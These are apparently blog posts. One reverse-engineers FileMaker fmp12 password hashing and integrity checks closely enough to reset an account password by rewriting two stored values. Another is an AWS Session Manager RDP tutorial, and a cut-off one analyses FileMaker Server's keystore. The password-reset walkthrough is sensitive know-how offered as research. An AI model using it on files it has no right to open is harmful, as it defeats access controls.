0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

By looking at the values while performing account changes (for example via FileMaker Pro) we can draw some conclusions and make assumptions.

The account name is always stored with key 16 or 0x10, and XORed with 0x5a (just like the other data).

The value at key 0x04 (05407cdc76b7f1fd29ac5a9c791af6b8) has a fixed length of 16 bytes and the value completely changes when changing an account password (or other account information for that matter). Given the length of 16 bytes and its behavior, we can make the assumption that this could potentially be an MD5 hash.

The 59-byte long value at key 0x06 (010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f) also changes when we change an account password. Two things stand out here, though: the length always changes (even for the same password), and the first byte is always 0x01.

Hint: for the rest of this blog post we will mostly talk about these two values (key 0x04 and 0x06).

What to do with this information?

To make further progress, we have three options:

Continue to make slight changes to the file via FileMaker Pro, and observe how these changes are represented in the file
Open the file with any kind of application designed to read fmp12 files (e.g. FileMaker Pro, Server, FMMigrationTool, …), attach a debugger and read some assembly code
Just YOLO it, start changing some bytes in the file and see what happens 🤞

As professionals, we obviously choose option 3 ;-)

So what happens when we, for example, just change the account name at path 23.1.5.2.16?

Can we still open the file?

I guess that’s what you get when you change stuff without really knowing what’s up :-)

Lessons learned so far

We might not have succeeded yet, but the failures and observations gave us new insight:

If we modify an account name, we get a tamper alert
If we modify any of the potential hashes nearby, we get a tamper alert
If we modify a buch of other stuff in the file, we get a tamper alert
Given the above points, we can assume that there’s likely a checksum of all the account information
We learned that accounts generally have the same parent path 23.1.5
We learned that the 16-byte value at key 0x04 has a fixed length and changes when the password is changed
We learned that the 59-byte value at key 0x06 has a variable length and changes when the password is changed (with the exception of the first byte, which is always 0x01)

Time for some debugging

It seems, to make progress, we have to see what is actually going on (what algorithm is used? is there a salt value? …) in a program that can read fmp12 files.

As explained in last year’s post about deciphering the FileMaker keystore, the easiest way to find a starting point of where to look inside the program is to dump the symbol table and then set breakpoints at interesting locations of the program.

We will use gdb as the debugger and the FMDataMigration tool as the target. Being able to pass an account name and password directly on the command line is more convenient than debugging a UI application (FileMaker Pro).

As target for the migration tool we choose any sample file of which we know the account and password. Launching the debugger could look like this:

gdb --args FMDataMigration -src_path /path/to/source/test.fmp12 -src_account Admin -src_pwd whatever -clone_path /path/to/clone/test\ Clone.fmp12 -clone_account Admin -clone_pwd whatever -target_path /path/to/migrated/test.fmp12 -force

Note that we pass Admin as account name, and whatever as password.

Figuring out the password hash

Looking at the known function names (dumping symbols), we can note down everything that could be related to password hashing/reading/writing, then set breakpoints at these locations.

One very obvious function to start with is Draco::PasswordHash::ComputePasswordHash.

We can set a breakpoint, then (for every call) look up the arguments passed to the function and then see if we can make sense of any of them (for example, if the values also show up in the fmp12 file).

I debugged the application on a Linux machine on x86_64, so based on the calling conventions the first arguments are generally passed in registers rdi, rsi, rdx, rcx, r8 and r9.

Values passed to ComputePasswordHash

Once a breakpoint has been triggered, we can look at the register values:

(gdb) info reg

rcx 0x7ffff75529e0 # static known string (starts with "File" :-))

rdx 0xa # length of value of address pointed to by rsi (10 bytes)

rsi 0x7fffffffa0d9 # points to value we saw at path 23.1.5.2.6
 # 01===>0472b2e83c04a8bd2bfe<===3cbc1f..8efe9a8392a50e713f

rdi 0x7fffffffb2c0 # points to pointer where given password is stored
 # (char16, 2-byte chars)

r8 0x1e # length of value in rcx (30 bytes)

r9 0x1 # value of 1

+ some values on the stack

As commented above, we see several interesting values. rdi points to the password we passed in as command line argument (as 16-bit characters). rsi points to a part of the 59-byte value previously seen in the file at path 23.1.5.2.6. Assuming the next argument (rdx) is the length, we can read 10 bytes from rsi and get 0472b2e83c04a8bd2bfe.

rcx points to a constant string which starts with File (hint, hint), but has a length of 30 bytes (r8).

r9 contains 0x01 which may or may not be relevant to what we are trying to find out. We note it down in any case.

What do we know so far?

While not certain, we can make an assumption that the first 10 bytes after the 0x01 is the salt value (as storing it next to a password hash would make sense). To clarify, looking at the 59-byte byte-sequence from above, the 10-bytes are these:

01 --> 0472b2e83c04a8bd2bfe <-- 3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f

We have discovered a 30-byte constant value that seems to be somehow incorporated into the password hash computation (an assumption made based on the passed values).

We have also discovered a constant value of 0x01 which might be relevant to the hash.

And we have found out that the clear password which we pass on the command line ends up being passed to the ComputePasswordHash function as well.

Digging deeper

We know the input to the function. But what exactly happens within it?

To figure this out let’s have a closer look at one of the loops in that function:

[...]
0x00007ffff4c328f4 <+132>: div %r13d
0x00007ffff4c328f7 <+135>: movzbl (%r14,%rdx,1),%ebx
0x00007ffff4c328fc <+140>: shl $0x8,%ebx
0x00007ffff4c328ff <+143>: lea 0x1(%rcx),%eax
0x00007ffff4c32902 <+146>: xor %edx,%edx
0x00007ffff4c32904 <+148>: div %r13d
0x00007ffff4c32907 <+151>: movzbl (%r14,%rdx,1),%eax
0x00007ffff4c3290c <+156>: or %ebx,%eax
 ===> 0x00007ffff4c3290e <+158>: xor (%rdi,%rbp,2),%ax <===
0x00007ffff4c32912 <+162>: rol $0x8,%ax
0x00007ffff4c32916 <+166>: mov %ax,(%rdi,%rbp,2)
0x00007ffff4c3291a <+170>: add $0x2,%ecx
0x00007ffff4c3291d <+173>: mov %esi,%ebp
0x00007ffff4c3291f <+175>: add $0x1,%esi
0x00007ffff4c32922 <+178>: cmp %rbp,%r9
0x00007ffff4c32925 <+181>: ja 0x7ffff4c328f0
[...]

Looking at the assembly code, we can identify an XOR operation (shown with arrows above) with two 16-bit values. Calculating both the effective memory address and looking up the value in ax (lower 16 bits of rax), we can see that in the first iteration the values are 0x77 0x00 (little endian) and 0x46 0x69, respectively.

Looking up the ASCII character for 0x0077, we can identify it as w – the first character (zero-extended to 16-bits) of our whatever password.

Doing the same for 0x46 and 0x69, we arrive at Fi, the first two characters (1 byte each, so also 2 bytes/16-bits) of the constant string we saw earlier.

The result of the XOR operation is thus 0x0077 ^ 0x4669 = 0x461e.

Continuing for the whole length of the password, we arrive at a new sequence of bytes that we note down for later.

Looking at additional calls

Inspecting the function further we see two interesting calls:

 ===> 0x00007ffff4c3294e <+222>: callq 0x7ffff4c08b30 <EVP_sha1@plt> <===
0x00007ffff4c32953 <+227>: mov 0x70(%rsp),%rbp
0x00007ffff4c32958 <+232>: mov 0x10(%rsp),%rdi
0x00007ffff4c3295d <+237>: mov 0x18(%rsp),%esi
0x00007ffff4c32961 <+241>: add %esi,%esi
0x00007ffff4c32963 <+243>: mov 0x8(%rbp),%ebx
0x00007ffff4c32966 <+246>: mov %r12,%rdx
0x00007ffff4c32969 <+249>: mov %r15d,%ecx
0x00007ffff4c3296c <+252>: mov 0xc(%rsp),%r8d
0x00007ffff4c32971 <+257>: mov %rax,%r9
0x00007ffff4c32974 <+260>: pushq 0x0(%rbp)
0x00007ffff4c32977 <+263>: push %rbx
 ===> 0x00007ffff4c32978 <+264>: callq 0x7ffff4c087e0 <PKCS5_PBKDF2_HMAC@plt> <===
0x00007ffff4c3297d <+269>: add $0x10,%rsp
0x00007ffff4c32981 <+273>: mov 0x10(%rsp),%rdi
0x00007ffff4c32986 <+278>: lea 0x20(%rsp),%rax
0x00007ffff4c3298b <+283>: cmp %rax,%rdi

The two highlighted functions are from the OpenSSL library.

Since the library is open source, we can look up code and documentation and know for sure what arguments are expected to be passed to these functions.

So just like before, we can set a breakpoint at the key derivation function PBKDF2 (explained in more detail in my other post) and look at the registers again to see what values are being passed.

This is the function signature:

int PKCS5_PBKDF2_HMAC(const char *pass, int passlen,
 const unsigned char *salt, int saltlen, int iter,
 const EVP_MD *digest,
 int keylen, unsigned char *out);

And these are the register values when calling the function:

(gdb) info reg
rax 0x7ffff34b47e0 140737275185120
rbx 0x14 20
rcx 0xa # length of salt (10 bytes)
rdx 0x7fffffffa0d9 # points to 10 byte (rcx) salt (now confirmed) 0x04 0x72 ... (x/10xb $rdx)
rsi 0x10 # length of xored password (16 bytes)
rdi 0x60a38220 # points to 16 (rsi) bytes of XORed password 0x46 0x1e ... (x/16xb $rdi)
rbp 0x7fffffffa350 0x7fffffffa350
rsp 0x7fffffffa038 0x7fffffffa038
r8 0x1 # the value of 1 seen before, the iteration count
r9 0x7ffff34b47e0 # points to SHA1 context

On stack: keylen of 20 and address for out

I commented each relevant register value above. To summarize it again:

We pass in our XORed password (rdi) from above. The value for the salt argument (rdx) is the 10 bytes we identified earlier (so it’s now confirmed that it indeed is a salt value), an iteration count (r8) of 1 (the 0x01 value we saw earlier), and a pointer to the SHA1 hashing function (r9) (we saw it being initialized above). Additionally, a desired key length of 20 and an address for the output is passed.

Letting this function run and observing the result written to *out we can see that it is exactly the 20 bytes after the previously identified salt value in the 59-byte long sequence of bytes at path 23.1.5.2.6.

Summary so far

Of the value at 23.1.5.2.6 we now know the following components:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> Still unknwon
| | +--> The 20-byte derived key / password hash
| +--> The 10-byte salt value
+--> Always 1; we could assume that this is some sort of version number, in case the algorithm changes in the future

To arrive at this result, we saw that we have to have the password (char16), a salt and a fixed value.

In a loop, we XOR the password with the fixed value.

We then feed the XOR result into PBKDF2 with a SHA1 digest function.

And out comes the hash that is being stored in the fmp12 file.

Figuring out the variable-length “checksum”

So what is the still unknown part of this 59-byte sequence? And why does it change in length every time we change a password?

To figure this out, we have dig into another function called Draco::DBPassword::Read:

[...]
0x00007ffff5e61aeb <+459>: mov $0x1,%edx
0x00007ffff5e61af0 <+464>: movzbl 0x1a(%rsp,%rdx,1),%ebx
 ===> 0x00007ffff5e61af5 <+469>: xor 0x10(%rsp,%rdx,1),%bl <===
0x00007ffff5e61af9 <+473>: movzbl 0x2e(%rsp,%rdx,1),%ecx
0x00007ffff5e61afe <+478>: cmp %bl,%cl
0x00007ffff5e61b00 <+480>: sete %al
0x00007ffff5e61b03 <+483>: cmp %rsi,%rdx
0x00007ffff5e61b06 <+486>: jae 0x7ffff5e61b14
0x00007ffff5e61b08 <+488>: add $0x1,%rdx
 ===> 0x00007ffff5e61b0c <+492>: cmp %bl,%cl <===
0x00007ffff5e61b0e <+494>: je 0x7ffff5e61af0
0x00007ffff5e61b10 <+496>: jmp 0x7ffff5e61b14
0x00007ffff5e61b12 <+498>: and %cl,%al
0x00007ffff5e61b14 <+500>: test %al,%al
[...]

Here, we see again a XOR operation in a loop. And if we look at the values in memory and the register for each iteration, we will find that each byte of the password hash is XORed with each byte of the salt value.

Looking at the result, we see that it matches the previously unknown remainder of the 59-byte sequence mentioned earlier.

We also see that every computed byte (XOR result) is compared to the stored byte – so any variation between stored and computed will likely trigger the tamper alert.

Visualizing the first few operations of this loop:

010472b2e83c04a8bd2bfe3cbc1f3d1f0b69df8e93c6542e478601b05d261d38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 | | | | | | ^ ^ ^
 | | | | | | | | |
 | | | | | | | | |
 | | | | | | | | |
 | | | v | | | | |
 +-|-|---> xor(0x04, 0x3c) = 0x38 ---------------------------+ | |
 | | | | | |
 | | v | | |
 +-|-----> xor(0x72, 0xbc) = 0xce ---------------------------+ |
 | | |
 | v |
 +-------> xor(0xb2, 0x1f) = 0xad ---------------------------+

You might be wondering how you can XOR salt and password if they differ in length. What actually happens is XOR(salt + password, password), with the password being extended by the XOR result as the loop progresses.

Why variable length?

What we don’t yet understand is why the XOR byte-sequence has a variable length, i.e. is often truncated.

The answer is to be found in yet another function: Draco::DBUserAccount::MatchPasswordData.

Setting a breakpoint, running the program and taking a closer look, we can see the following instructions:

0x00007ffff5e63901 <+225>: movzbl 0x28c(%rsp),%esi
0x00007ffff5e63909 <+233>: and $0x1f,%esi

By calculating the effective memory address and inspecting the source of the value being moved into esi, we can observe that it always takes the second byte of the password hash:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
 |
 +--> 0xbc is the second byte of the password hash

What follows is a bitwise AND instruction with inputs 0x1f and the value in esi (0xbc in this case).

The bitwise AND operation performs a logical AND on every bit-pair of the two input bytes. If both values of a pair are 1, the result is 1, otherwise 0.

 00011111 <=== 0x1f
AND 10111100 <=== 0xbc
 --------
 00011100 = 0x1c = 28

If 0x1f is fixed, the largest value that can come out of this is 0x1f, or 31, itself.

But what do we do with this value? It turns out that it is used to truncate our XOR “checksum”.

So in our case with the second byte of the password hash being 0xbc, we would have a 0x1c, or 28 byte long checksum at the end:

01 0472b2e83c04a8bd2bfe 3cbc1f3d1f0b69df8e93c6542e478601b05d261d 38ceadd5230fc162a56dfae8317a990ad982a88efe9a8392a50e713f
| | | |
| | | +--> 28 bytes
| | +--> 20 bytes
| +--> 10 bytes
+--> 1 byte

Now the big question is: Knowing all the components in this 59-byte sequence at path 23.1.5.2.6, can we generate a new salt, compute the derived key/hash, and XOR checksum from a new password of our choice, insert it back into the file, and then open the file using the chosen password?

It could work (based on our assumptions so far). Before we try it out, though, we have to account for one more thing.

If we choose a new password with the same or different salt value, we will most-likely have a different length XOR checksum at the end. This means, we would need to re-align the block (filling it up with NOPs or null-bytes won’t work).

Since this can get complicated, we can use a small trick: we just brute-force a new salt-value which – combined with the password – leads to a 0xbc in the second byte of the SHA-1 hash. This way, the length of the XOR checksum at the end will stay the same and we replace the 59 bytes exactly with another 59-byte long sequence.

So let’s insert the new value, and try to open the file again:

Oooops! :-) Still not working.

Figuring out the account checksum

Our failure implicitly gave us another hint: there must be another piece of data which also takes the salt and password into consideration – otherwise our little replacement from above would be impossible to be detected as tampering.

So let’s go back to the beginning and have another look at the account section that we parsed out earlier:

(Current path 23.1.5.1)

0x40 (POP)
0x20 (PUSH) 0x2
Path is now 23.1.5.2

0x06 (Key Value) with key 0x04 and length 0x10 (16 bytes)
Path 23.1.5.2.4 ==> 05407cdc76b7f1fd29ac5a9c791af6b8 <=== remember this?

0x06 (Key Value) with key 0x06 and length 0x3b (59 bytes)
Path 23.1.5.2.6 ==> 010472b2e83c04a8bd2bfe3cbc...e9a8392a50e713f

0x06 (Key Value) with key 0x0a and length 0x09 (9 bytes)
Path 23.1.5.2.10 ==> 089fa15b8005967430

0x02 (Key Value) with key 0x0b and a length of 2 bytes
Path 23.1.5.2.11 ==> 0101

0x06 (Key Value) with key 0x10 and length 0x05 (5 bytes)
Path 23.1.5.2.16 ==> 1b3e373334 ===> ("Admin" XORed with 0x5a)

We saw this fixed-size 16-byte long “hash-like” looking sequence of bytes with key 0x04. We previously made the assumption that it could be an MD5 hash (given the length). We also observed that it always completely changes with every change made to the account (changing password, account name, privilege set, etc.).

Hunting for more functions, we eventually see that Draco::DBUserAccount::ComputeCRC is called for every account in the file (you could have also seen that ComputeCRC is on the callstack for some of the other password related functions; info stack).

So if we break at the n-th call to the function, where n is the position of the account, we can continue our investigation.

Getting a first overview of the assembly instructions, it stands out that we have a lot of calls to another function, Draco::CRCContext::Update, which in turn calls OpenSSL’s MD5_Update function.

Debugging functions for which we have documentation and code is always easier. So why don’t we break at every call to MD5_Update until we have a MD5_Final call which finalizes the checksum?

The strategy is the same as before: pause the program when the function is called, then look at the passed values. For OpenSSL’s MD5_Update function we even know the signature, which makes things easier: int MD5_Update(MD5_CTX *c, const void *data, unsigned long len);.

So what’s in the registers when the function is called?

(gdb) info reg
rax 0x7fffffffa880 140737488332928
rbx 0x7fffffffa890 140737488332944
rcx 0x1 1
rdx 0x10 16
rsi 0x7fffffffa880 140737488332928
rdi 0x60a37dd0 1621327312
rbp 0x0 0x0
rsp 0x7fffffffa868 0x7fffffffa868
r8 0x0 0

rdi has the MD5 context, which we can ignore for now. rsi contains a pointer to the data to be included in the hash, and rdx contains its length.

(gdb) x/16xb $rsi
0x7fffffffa880: 0x44 0x8f 0x00 0x0b 0x21 0xe9 0x41 0x2b
0x7fffffffa888: 0xa5 0x9c 0x8c 0x5f 0xd9 0x68 0x13 0xdb

While we don’t know what this sequence of bytes represents, we can just note it down and continue to the next call until the MD5 hash is finalized.

Eventually, we have all inputs to the MD5 hash and can also re-create it in a program of our own. It turns out, when computed again, the hash exactly matches the value stored at 23.1.5.2.4.

But how would we re-compute this without seeing the values from the debugger? For most values that are an input to the hash function, this is relatively easy: you can search for the value in the fmp12 file and note down its path (given it has an adequate length to be unique-ish in the file).

To find the value for a different file, you could just look up the value at the same path again. And if all fails, you could of course also run the debugger again to get to these values.

Do we have it now?

Since we can now freely re-compute the values at 23.1.5.2.4 and 23.1.5.2.6, is it enough to replace the two byte-sequences in a file to open it with a new password?

We enter our new password, and voilà: we’re in :-)

Additional info and caveats

A few important things to note and to answer some questions that came up during my talk:

FileMaker’s Encryption at Rest feature protects you exactly from this (as long as you keep your passphrase secret)
There are and will always be undocumented byte-codes as the specification is not open. In this case you either need to figure out what the byte-code does or you can decide to skip the rest of the payload and jump to the next block. If you are only interested in the account/password information, this is usually not a problem as long as the unknown code(s) don’t appear in exactly the block containing the account information.
Some components that go into the MD5 hash are semantically unclear (to me). In most cases you can just copy the value from the file (if at a known path). If this doesn’t work, you can always get them via the debugger.
If all [Full Access] accounts / the privilege set have been removed from the file and you want to add back such an account, you will need to figure out a lot more than described above. While theoretically possible, it’s probably hard work (need to add back the privilege set, a new account, re-align the blocks, etc.).
Note that you don’t need an account/password if you just want to get a specific piece of data from a file. You can just parse the file as described above and get/export it this way.
Is the file integrity still intact after replacing the hashes? From what I can tell, yes. You can also run a recovery on the file afterwards and it doesn’t flag the changed block as “bad”. However, there’s obviously no guarantee as there’s no official documentation. Changing a password the “normal” way does a bit more to the file, but I don’t think the other changes are particularly relevant (more like modification counts, etc.).
What do the commercial password reset tools do? I don’t have any of those tools, but someone provided me with two fmp12 files; one original and one created using the “Passware” recovery tool. The only difference between the provided files was in the two mentioned paths. So they do exactly the same thing as described in this post.
Is this a vulnerability in FileMaker? No, I don’t consider the possibility of resetting a password in a local unencrypted file to be a vulnerability, so nothing was reported.

Connecting to a private Windows EC2 instance without exposing RDP to the internet

Mon, 12 Feb 2024 00:00:00 +0000

The problem statement

Let’s say you have a (Windows or Linux) EC2 instance in a private subnet and want to access it interactively. There are several ways to do this:

You could use a bastion host in your public subnet, harden it and limit access to a certain IP range, and then tunnel your SSH or RDP (or any other TCP) traffic through this host using SSH.

Alternatively, you could set up a VPN server through which to connect to your instance.

Another option for RDP could be an RDP gateway (to not expose RDP directly).

Or you could just care a little less and put your instance in a public subnet, make it directly addressable, lock down source IPs with a security group, and live with the risk of not having an additional layer in front.

Any other idea?

AWS Systems Manager Session Manager

There’s actually another relatively straightforward way to connect to your instance – AWS managed and without the requirement to open ports to any of your resources, manage SSH keys or maintain your own bastion hosts.

With AWS Systems Manager Session Manager, you (or any IAM user with permission) can open a session to your private instance either from the AWS console in the browser or through your local machine. You can even get a connection history and shell logs of established sessions and do your user management as you are already used to in AWS IAM.

If the last paragraph sounded like an advertisement, it wasn’t supposed to :-) I’m generally a fan of using established and vendor-independent tools and procedures; so if you already have everything set up and an established secure workflow with a VPN or bastion host, it may not be too interesting for you. If your resources are primarily on AWS, however, it is still a useful service to know about.

Since I just had this use case for a Windows server to which I also needed GUI access, I wrote down my steps. Let’s see how we can practically set up this scenario for RDP.

What this tutorial is about

In the following steps we will create a new VPC with a public (i.e. with a route to an internet gateway) and a private subnet.

For internet access, we will give the private subnet a route to a NAT gateway residing in the public subnet. Then we will continue by creating an instance which can assume a role for Session Manager Management.

And finally, we will create a port-forwarding session and access our private instance through a local RDP client.

It’s also possible to do this without internet access by using VPC endpoints; I think the EC2 instance only needs to have egress port 443 allowed to the SSM gateway endpoints. You can see the Session Manager Agent on the EC2 instance establishing these connections.

If you just want to see how to connect, jump to the end of the article.

Creating VPC, subnets, gateways, routes

Let’s create a VPC with a small IP range (adjust as you like), giving us space for about 250 hosts (not counting network, a couple of AWS internal reserved hosts, and broadcast). More than enough as we will actually only have one instance and NAT gateway for this demo setup.

aws ec2 create-vpc --cidr-block 10.0.0.0/24 # from now on: vpc-1234

Next, we create an internet gateway and attach it to our VPC:

aws ec2 create-internet-gateway # from now on: igw-1234
aws ec2 attach-internet-gateway --internet-gateway-id igw-1234 --vpc-id vpc-1234

Let’s continue by creating two subnets. One public (to which we connect the internet gateway) and one private (where our Windows server will reside). Again, I’ll just split the /24 network into two parts, but you might want something else.

aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.0/25 # from now on: subnet-1234 (will become public)
aws ec2 create-subnet --vpc-id vpc-1234 --cidr-block 10.0.0.128/25 # from now on: subnet-5678 (will stay private)

To give the private subnet access to the internet, we’ll add a NAT gateway and assign it an IP address:

aws ec2 allocate-address --domain vpc --network-border-group eu-central-1 # from now: eipalloc-1234
aws ec2 create-nat-gateway --subnet-id subnet-1234 --allocation-id eipalloc-1234 # from now on: nat-1234

And finally, we create the route table and routes.

First, for the public subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-1234
aws ec2 associate-route-table --route-table-id rtb-1234 --subnet-id subnet-1234
aws ec2 create-route --route-table-id rtb-1234 --destination-cidr-block "0.0.0.0/0" --gateway-id igw-1234

And then for the private subnet:

aws ec2 create-route-table --vpc-id vpc-1234 # from now on: rtb-5678
aws ec2 associate-route-table --route-table-id rtb-5678 --subnet-id subnet-5678
aws ec2 create-route --route-table-id rtb-5678 --destination-cidr-block "0.0.0.0/0" --nat-gateway-id nat-1234

Note that the route tables will additionally always get a default route for destination 10.0.0.0/24 to target local on creation.

Setting up instance profile and creating Windows server in private subnet

We start out by creating a role with an EC2 trust relationship, such that instances can assume this role.

# EC2AssumeRoleSTS.json
{
 "Version": "2012-10-17",
 "Statement": {
 "Effect": "Allow",
 "Principal": {
 "Service": "ec2.amazonaws.com"
 },
 "Action": "sts:AssumeRole"
 }
}

aws iam create-role --role-name SSMManagedEC2 --assume-role-policy-document file://EC2AssumeRoleSTS.json

The first relevant piece for this whole Session Manager scenario is to add the (AWS managed) policy AmazonSSMManagedInstanceCore (arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore) to our role, which enables the AWS Systems Manager core functionality.

aws iam attach-role-policy --role-name SSMManagedEC2 --policy arn:aws:iam::aws:policy/AmazonSSMManagedInstanceCore

And since we want to use the role for the EC2 instance, we create an instance profile and then attach the role to it:

aws iam create-instance-profile --instance-profile-name SSMEC2
aws iam add-role-to-instance-profile --instance-profile-name SSMEC2 --role-name SSMManagedEC2

Finally, we can create our instance in the private subnet and specify the instance type, profile and image (AMI). I’m using an AMI for a Windows Server 2022 in eu-central-1 region. You could additionaly also specify a key-pair, but don’t have to as you can later access the instance from the browser via the AWS console (Instance -> Connect -> Session Manager) and create your user/change password from there (you’ll be dropped into a PowerShell session as a privileged ssm-user).

aws ec2 run-instances --instance-type t2.medium --subnet-id subnet-5678 --image-id ami-0ced908879ca69797 --iam-instance-profile Arn=arn:aws:iam::<your-account-id>:instance-profile/SSMEC2 # from now on: i-1234

Please note that you have to install the System Manager Agent on the instance yourself, if you’re not using an AWS provided AMI. For the one mentoned above, no extra steps are required.

Installing Session Manager plugin, starting port-forwarding session and connecting via RDP

If you can live with working in a browser, there’s not much else to do. Just hit the “Connect” button in the AWS console’s EC2 dashboard, select Session Manager, and your session will start (either a PowerShell session as the privileged ssm-user, or an RDP session via “Fleet Manager”).

If you want access from your local terminal or your local RDP client (or direct access to any other network application on the instance, really), you can use the port-forwarding feature.

To be able to start a session from your local machine you first have to install the Session Manager plugin from AWS (next to the awscli). If you use brew (on macOS), you can brew install --cask session-manager-plugin. For a manual install or a different OS see the install guide.

Now we’re finally ready to connect. Let’s open up an RDP client and get our Windows user/password ready (decrypt the randomly generated one either via your key-pair or create a new user/password via the Session Manager in the AWS console, as mentioned above).

We can then use the ssm command to start our session. And just like we would do with SSH, we can specify a port mapping. In the following I map the remote RDP port 3389 to an arbitrary local port:

aws ssm start-session --target i-1234 --document-name AWS-StartPortForwardingSession --parameters '{"portNumber":["3389"], "localPortNumber": ["33089"]}'

With our local RDP client, we can now connect to localhost:33089, authenticate with the Windows credentials and get a regular RDP experience.

If you work with SSH, you can also use the Session Manager as a proxy for your SSH session (document-name AWS-StartSSHSession).

Deciphering the FileMaker Server keystore

Mon, 29 May 2023 00:00:00 +0000

Introduction

While checking out how the FileMaker Pro to Server upload feature worked, I noticed that credentials were encrypted using a RSA public key before being sent to the server.

I looked into FileMaker Server’s installation directory and found that the private key was stored in the CStore/keystore file – at least I assumed it, as the file stores keys and values, where the keys are base64-encoded strings, one of them being bWFjaGluZVByaXZhdGVLZXk=, or machinePrivateKey.

While the values are base64-encoded just like the keys, decoding them just reveals ciphertext, so you cannot really tell what you are looking at.

Next to the machinePrivateKey I saw several encoded file UUIDs which values represented the EAR (encryption at rest) “encryption password” for files hosted by the server. This became obvious when new entries appeared in the keystore after uploading encrypted files and choosing to save the password (to be able to auto-open the files after a reboot).

At this point I decided to spend some time to better understand how the keystore actually works, how secrets are protected and if I could replicate the encryption/decryption process to decipher the stored values.

In this post I want to share what I figured out, but more so show my approach (including failed attempts), so that you can hopefully benefit from it when taking on similar problems. I will talk about learning from observing the data, doing memory dumps, attaching debuggers, and a little bit of cryptography.

Some notes before you read on

I generally believe it’s useful to have a better understanding of the inner workings of the systems you’re using on a daliy basis (and maybe even depend on) – to help with troubleshooting, to be able to judge what features to use or to ignore, what risks to accept and to make sense of (sometimes odd) software behaviors. In my opinion most of these things are better publicly documented than privately/exclusively shared.

But I also talked to a couple of people and was advised to omit a few details, such that not a full decryption script is made available. In the last part I will thus skip over a few steps to keep it brief and don’t reveal the final part required to recreate the encryption key. I do, however, give pointers on where to look if you would like to try it yourself as an exercise.

If you follow along with this article, please be aware that the actions taken can damage your FMS installation and hosted databases.

Lastly, I’m not a professional reverse engineer, so there might be more straightforward ways of tackling the same problem and mine are not necessarily the best/fastest (in fact I’ve later learned many things that could have led me to the result much more quickly).

If you are still curious, please read on.

First insights by looking at the data

When you want to figure out an unknown encoding or encryption system it’s extremely helpful if you are able to observe how new data (entered by you) is encoded/encrypted.

Let’s have a look what insights can be gained just by observing data.

Opening the keystore file (which is publicly readable by default, by the way), we can identify two things quickly:

RTI2Q0M1RkJGOUEyNDQ1OEE3MzE0QjE0RUIyQkY4RTY=;9acSKigNs3IHuEikQeit1Q==
RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ=;b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x

First, it seems the ; is the separator. And second, based on the set of characters and padding at the end, the encoding looks like base64.

To verify, we can do echo -n RTY2RDdBQjQ0NjgwNENCRjg2RjZCMDAxNkUwNzk3MTQ= | base64 -d and observe the decoded data. In this case it’s E66D7AB446804CBF86F6B0016E079714, which could be a UUID (16 bytes, in hexadecimal format). Of course, it could be other things, but in this context (identifying a file) it seems likely.

Without knowing the details of the fmp12 file format, we could still quickly peak at the raw bytes of the hosted database to determine if this ID appears somewhere at the beginning of the file. And sure it does:

$ xxd my_file.fmp12 | head -n 20
00000000: 0001 0000 0002 0001 0005 0002 0002 c048 ...............H
00000010: 4241 4d65 0000 1000 0000 0000 0000 0000 BAMe............
00000020: 0000 0000 0000 0000 0000 0000 0000 0000 ................
... here it starts (16 bytes from position 250):
000000f0: 0000 0000 0000 0000 0000 e66d 7ab4 4680 ...........mz.F.
00000100: 4cbf 86f6 b001 6e07 9714 efb8 6c2e 2af4 L.....n.....l.*.

Let’s now look at the part after the semicolon – the one that is more interesting, but currently looks like garbage.

Base64-decoding the two samples from above, wee see:

$ echo -n '9acSKigNs3IHuEikQeit1Q==' | base64 -d | xxd
00000000: f5a7 122a 280d b372 07b8 48a4 41e8 add5 ...*(..r..H.A...

$ echo -n 'b442h3lSslgZ66HAwoSO7+jm1Xcw0O7DSmRlW9bkRrj7EUeRYaj8K6VEsLWSYh8x' | base64 -d | xxd
00000000: 6f8e 3687 7952 b258 19eb a1c0 c284 8eef o.6.yR.X........
00000010: e8e6 d577 30d0 eec3 4a64 655b d6e4 46b8 ...w0...Jde[..F.
00000020: fb11 4791 61a8 fc2b a544 b0b5 9262 1f31 ..G.a..+.D...b.1

While the data does not look useful at first sight, we can see that the first sample is 16 bytes long and the second one is 48 bytes long.

Setting an EAR password to another file, uploading it and storing the password on the server, we can observe different ciphertext lengths for different plaintext lengths.

If our EAR password is less than 16 bytes, we still get 16 bytes of ciphertext. If it’s greater than 16 bytes, but less than 32 bytes, we get 32 bytes of ciphertext.

We can be relatively certain that the server only encrypts full blocks of 16 bytes, suggesting a block cipher with a size of 128 bits.

Next, we can check if we get the same ciphertext on a different FileMaker Server installation. This is not the case, so the key is likely unique for every server.

How about using the same EAR password for a different database file? Does this create a different ciphertext?

After trying, we see that it does not produce a different ciphertext. This means that the file identifier does not play a role in the encryption. It also means that a static key and no initialization vector (or a static one) is used, since a different initialization vector would cause the ciphertext to be different, even if the same plaintext and key is used (assuming we have an IV and use “cipher-block chaining”; see explanation in box below).

